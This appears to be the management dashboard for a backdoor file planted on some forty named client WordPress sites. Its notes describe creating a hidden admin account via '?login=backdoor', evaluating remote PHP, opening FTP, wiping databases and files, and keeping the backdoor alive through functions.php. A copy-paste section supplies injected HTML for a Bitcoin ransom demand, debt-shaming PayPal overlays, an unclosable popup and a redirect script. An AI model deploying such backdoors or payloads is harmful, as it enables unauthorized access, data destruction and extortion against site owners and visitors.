← Back to tools

Puedes usar PHPINFO, ?ftp, login=backdoor o login=cualquier username, redirect URL, backup/erase de BDD o Archivos y Eval codigo.
*Aguas con usar 0_NOMBRE UNICO AQUI!!! que puedes borrar accidentalmente a otro

Quien

Cada script debe ser unico		 Creación Ult. modificación Donde

Donde fue visto ultima vez		 Clics

Total veces ejecutado		 Clics/dia (/4 ?) Bloquear

html/JS =echo, RespaldoTodo y BorraTodo =SelfDestruct, '' = desbloqueado		 Regresa PHP

hara eval( de lo que pongas ); evita html, solo php (solo nuevos lo traen)
0_NOMBRE UNICO AQUI!!!

 06/03/2026
Hace 137 días		2026-07-17 16:02:19
Hace 4 días		 https://algotech.ca/wp-user.php390 clics / 134 dias1
Advizee

 07/11/2025
Hace 256 días		2026-05-23 07:27:24
Hace 59 días		 http://advizee.ca/wp-user.php24 clics / 198 dias0
Advizee Aims Fittings

 22/10/2025
Hace 273 días		2026-07-21 16:56:00
Hace 0 días		 https://1.aimsfittings.com/all-products/spinweld-fittings-plastic-tank-accessories/bulkhead-fittings/tel:1866793247455540 clics / 274 dias511
Advizee Centroplast

 08/12/2025
Hace 225 días		2026-05-23 07:09:26
Hace 59 días		 http://centroplast.ca/wp-user.php22 clics / 167 dias0
Advizee Dono

 25/11/2025
Hace 238 días		2026-06-21 16:49:20
Hace 30 días		 https://donoelectronic.com/wp-user.php15 clics / 209 dias0
Advizee Laurentian

 30/05/2025
Hace 418 días		2026-05-23 06:55:07
Hace 59 días		 http://laurentiandachshunds.com/wp-user.php15 clics / 359 dias01
Advizee Localbeauty

 02/05/2025
Hace 445 días		2026-05-23 07:19:27
Hace 59 días		 http://localbeautyartist.com/wp-user.php167716 clics / 386 dias1091
Advizee new Urgence Physio

 16/10/2025
Hace 278 días		2026-05-23 07:18:48
Hace 59 días		 http://urgencephysio.com/wp-user.php13 clics / 220 dias01
Advizee Physio Sacre

 10/06/2025
Hace 406 días		2026-05-23 06:53:57
Hace 59 días		 http://physiosacrecoeur.com/wp-user.php17 clics / 348 dias01
Alexcd2000 Mesa de Regalos

 15/07/2025
Hace 371 días		2026-05-23 19:05:23
Hace 59 días		 http://mesa-de-regalos.com/wp-user.php91 clics / 313 dias01
Alexcd2000 MyQRMenu

 21/05/2025
Hace 426 días		2026-05-23 07:11:32
Hace 59 días		 https://myqr.menu/wp-user.php145 clics / 367 dias01
Alexcd2000 S y A Boda

 09/09/2025
Hace 315 días		2026-05-24 10:19:58
Hace 58 días		 https://samantha-alejandro.com/wp-user.php118 clics / 257 dias01
Ali Wheelzone AU

 22/07/2025
Hace 364 días		2025-10-22 00:42:12
Hace 273 días		 https://wheelzone.co.nz/wp-user.php?que=phpinfo2 clics / 93 dias01
Ariel Fasticeusa

 16/07/2025
Hace 370 días		2026-01-09 12:51:27
Hace 193 días		 https://www.fasticeusa.com/wp-user.php?que=phpinfo5 clics / 178 dias01
Chandler Mx

 16/12/2025
Hace 218 días		2026-04-04 15:29:33
Hace 108 días		 https://crossdocksandstorage.com/wp-user.php77 clics / 111 dias0
Diego Aim Fully Books

 05/09/2025
Hace 319 días		2025-10-22 00:42:12
Hace 273 días		 https://www.aimfullybooks.com/wp-user.php?que=ftp2 clics / 47 dias01
Dreilaut Red Rabane

 08/05/2025
Hace 439 días		2026-06-15 09:33:47
Hace 36 días		 https://red-rebane.de/wp-user.php13 clics / 404 dias01
Dreilaut Schweriner

 06/05/2025
Hace 441 días		2025-10-22 00:42:12
Hace 273 días		 https://schweriner-hoefe.de/wp-user.php2 clics / 169 dias01
Ecosa Aaron

 02/05/2025
Hace 445 días		2026-06-15 09:11:08
Hace 36 días		 https://www.catalogo.ecosa.com.mx/wp-user.php9 clics / 410 dias01
Gary Hydracheck

 14/08/2025
Hace 341 días		2026-06-10 05:11:30
Hace 41 días		 https://www.hydracheck.com/wp-user.php19 clics / 300 dias01
Hugo Florvino

 08/07/2026
Hace 14 días		2026-07-08 02:35:10
Hace 14 días		 https://florvino.wine/alexcd2000-user.php1 clics / 1 dias0
Hugo Spirithill

 12/01/2026
Hace 190 días		2026-01-15 08:54:14
Hace 187 días		 https://spirithillswinery.com/alexcd2000-user.php3 clics / 4 dias0
Javier Roberto GymProManager

 29/05/2025
Hace 418 días		2026-01-09 18:06:12
Hace 193 días		 https://gympromanager.com/wp-user.php6 clics / 226 dias01
Joey Curveblock Root WP

 05/03/2026
Hace 138 días		2026-03-05 16:26:30
Hace 138 días		 https://curveblock.io/wp-user.php1 clics / 1 dias0
Joey New Curveblock

 23/01/2026
Hace 180 días		2026-06-21 18:36:17
Hace 30 días		 https://rwaventuresltd.com/wp-user.php?p=&action=zip&dir=disable-updates11 clics / 151 dias0
Jorge Col AcompanantesCol

 03/03/2026
Hace 140 días		2026-03-03 19:44:46
Hace 140 días		 https://acompanantescolombia.com/wp-user.php1 clics / 1 dias0
Jorge Col Admin Escorts

 06/03/2026
Hace 138 días		2026-06-02 08:18:25
Hace 49 días		 https://admin.masajesnurucolombia.com/pages/user.php?que=phpinfo15 clics / 89 dias0
Jorge Col AdondeViajar

 03/03/2026
Hace 140 días		2026-07-20 21:18:18
Hace 1 días		 https://adondeviajar.net/wp-user.php71 clics / 140 dias0
Jorge Col CEV

 03/03/2026
Hace 140 días		2026-04-29 23:41:15
Hace 83 días		 https://colombiaeroticvacations.com/wp-user.php26 clics / 58 dias0
Jorge Col MasNuruCol

 03/03/2026
Hace 140 días		2026-06-21 18:36:24
Hace 30 días		 https://masajesnurucolombia.com/wp-user.php6 clics / 111 dias0
Jorge Col MicroBlade

 03/03/2026
Hace 140 días		2026-07-19 19:41:32
Hace 2 días		 https://microbladingeyebrowsandlashextensions.ca/wp-user.php22 clics / 139 dias0
Luis Axo Rusa Ingenieros

 05/12/2025
Hace 229 días		2026-07-17 19:10:09
Hace 4 días		 https://rusaingenieros.es/wp-user.php102 clics / 226 dias0
Michael Mx Fullonproauto

 18/12/2025
Hace 215 días		2026-05-08 17:23:37
Hace 74 días		 https://fullonproauto.com/wp-user.php63 clics / 142 dias0
Radar Politico Mauricio Colombia

 16/10/2025
Hace 278 días		2025-10-22 00:42:12
Hace 273 días		 https://radarpolitico.online/helper.php?que=ftp3 clics / 6 dias01
Reynaldo Mueblify

 28/08/2025
Hace 328 días		2025-10-22 00:42:12
Hace 273 días		 https://preview2.alexcd2000.com/wp-user.php1 clics / 56 dias01
Ross AgriX

 06/05/2025
Hace 441 días		2025-10-22 00:42:12
Hace 273 días		 https://agri-x.global/wp-user.php?que=phpinfo1 clics / 169 dias01
Ross AgriX Limpio

 07/05/2025
Hace 440 días		2025-10-22 00:42:12
Hace 273 días		 http://cap-x.global/wp-user.php50 clics / 169 dias01
St Philomena Nuns

 16/06/2025
Hace 400 días		2026-06-13 12:36:59
Hace 38 días		 https://saintphilomenaconvent.org/wp-user.php47 clics / 363 dias01
St Philomenaa School Nuns

 19/06/2025
Hace 397 días		2026-07-20 08:41:43
Hace 1 días		 http://ihmsnh.org/wp-user.php92 clics / 397 dias01
Sven IKFF

 03/07/2025
Hace 383 días		2025-10-22 00:42:12
Hace 273 días		 https://temp.ikff.no/wp-user.php?sven%20ryen2 clics / 111 dias01
Thorsten Health Care

 29/01/2026
Hace 173 días		2026-02-10 17:26:13
Hace 161 días		 https://meta-health.pro/wp-user.php641 clics / 13 dias12
Tomas Kiz10

 19/08/2025
Hace 336 días		2025-10-22 00:42:12
Hace 273 días		 https://kiz10.com/peso.php4 clics / 65 dias01
Viv NerdleWordle

 20/01/2026
Hace 183 días		2026-07-21 16:44:47
Hace 0 días		 https://nerdlewordle.com/wp-cron.php?doing_wp_cron=1784652287.5141520500183105468750138374 clics / 184 dias188
Yonduur Deanna

 21/07/2025
Hace 365 días		2025-10-29 02:46:07
Hace 266 días		 https://yonduur.com/wp-user.php?que=phpinfo5 clics / 100 dias01

Comandos (a partir de Aug 2025):

- Ya tienes un ftp con wp-user.php?ftp, que mas quieres?
- wp-user.php?debug para tener un debugeador del log de errores de wp, que también filtra... así que con eso es una super herramienta
Comandos (a partir de Apr 2024, adicional y pruebas):

- Ya hace backups de la base de datos y permite borrala. Hay que hacer esto antes de borrar los archivos obvio
- Puedes usar phpinfo para ver la config del server
- Si necesitas borrar al usuario backdoor, recuerda con wp data access directo puedes borrar el usuario en la tabla wp_user y listo... no haria falta borrar la meta del user seria mucho...
Comandos (a partir de Jul 2022, adicional y pruebas):

- En wp-user faltaba eval($ pieces[1]); en el ultimo else, el cual ahora se ejecuta para correr php remotamente.
- Hice pruebas con eval y yi hay una falla truena todo eval() y no hace nada y muestra el warning si es que ya estaba activado.
- Descubri que puedes hacer error on y off siempre y cuando el código que mandes para eval() no tenga fallas.
- Truena todo el código que lleva " o ' en un string (por ejemplo un query o un echo script) que sea ya que no permite escaparlo (supongo lo escapa una vez en la bdd, otra en el json y otra hasta el php que se ejecuta... pues ya no llega y no hay triple escapacion...). Asi que trata de evitarlo si es un query solo inserta numeros (como para un login) o un script lo adaptas.
Comandos (a partir de Nov 2021, adicional):

- El archivo ahora esta en raiz /wp-user.php y tiene la función que: /wp-user.php?login=backdoor

que crea un admin de WP con ese username y pwd (backdoor). Tiene las demás funciones que antes cuando lo pegabas en blog-header solo que ahora agregas
una función con un include() en functions.php para que se ejecute siempre y no se pierda al actualizar (a menos cambien de tema).
Corre solo en el front end, porque en el back causa algunos plugins que se comporten raro. El PHP evaluate no esta funcionando...
pero no te hace falta si borras, backup, echo html o redirecciones y aparte creas usuarios admin de wp.
Aparte eso tronaba los sitios porque es un echo dentro del head
Comandos (a partir de Dic 2020, tambien ejecuta PHP):

- BorraTodo : borra todos los archivos en la carpeta donde esta el codigo
- RespaldoTodo : crea un zip para que decargues antes de borrar. Puede tardar un poco pero al terminar la pagina listo

Copy paste:

Div nota:
<div style='position: fixed;z-index:9999;top: 10px;'><h1><br><br><a style='color:red;background-color:yellow;' href = 'https://www.paypal.me/alexcd2000'>Hey Site-Admin! Don't be a rascal! Pay your debts click here</a><br><br></h1></div>

Pago Bitso:
<div style='text-align:center; position: fixed;z-index:9999;top: 10px;'><h1><br><br>Send 100 USD to this Bitcoin Wallet to recover your site:<br><br>35M4issvwj8LiM4bErn4FUniuz16fnbRBK<br> <img src='http://comercializadoraallotnetenforcer.com/bitcoinwallet.jpg'><br><br></h1></div>

Reenvio :
<script>window.location.replace("url");</script>

o popup invasivo no se cierra:
<style> /*Pop up*/ .overlaypop { position: fixed; top: 0; bottom: 0; left: 0; right: 0; background: rgba(0, 0, 0, 0.6);/* fondo translucido */ transition: opacity 2s;/*cuanto tarda en colorearse */ visibility: visible; opacity: 1; z-index:998;/* uno menos que el popup*/ } .popupfondo { margin: 10vh auto; padding: 20px; background: white;/* color fondo*/ border-radius: 20px;/*bordes redondos */ width: 30vw; position: relative; transition: all 4s ease-in-out; z-index:999;/* aun así pon siempre al ultimo este div del html*/ } .popupfondo h1 { margin-top: 0; text-align: center; color: red;/*titulo popupfondo */ } @media screen and (max-width: 700px){/*es mas ancho en moviles*/ .popupfondo{ width: 80vw; } .popupfondo .content { max-height: 60vh; } } </style> <div id="pop" class="overlaypop"> <div class="popupfondo"> <a href="https://www.paypal.me/alexcd2000/2000mxn"><h1>Hey site admin, pay your debts! don't be a rascal. Click here</h1></a> </div> </div>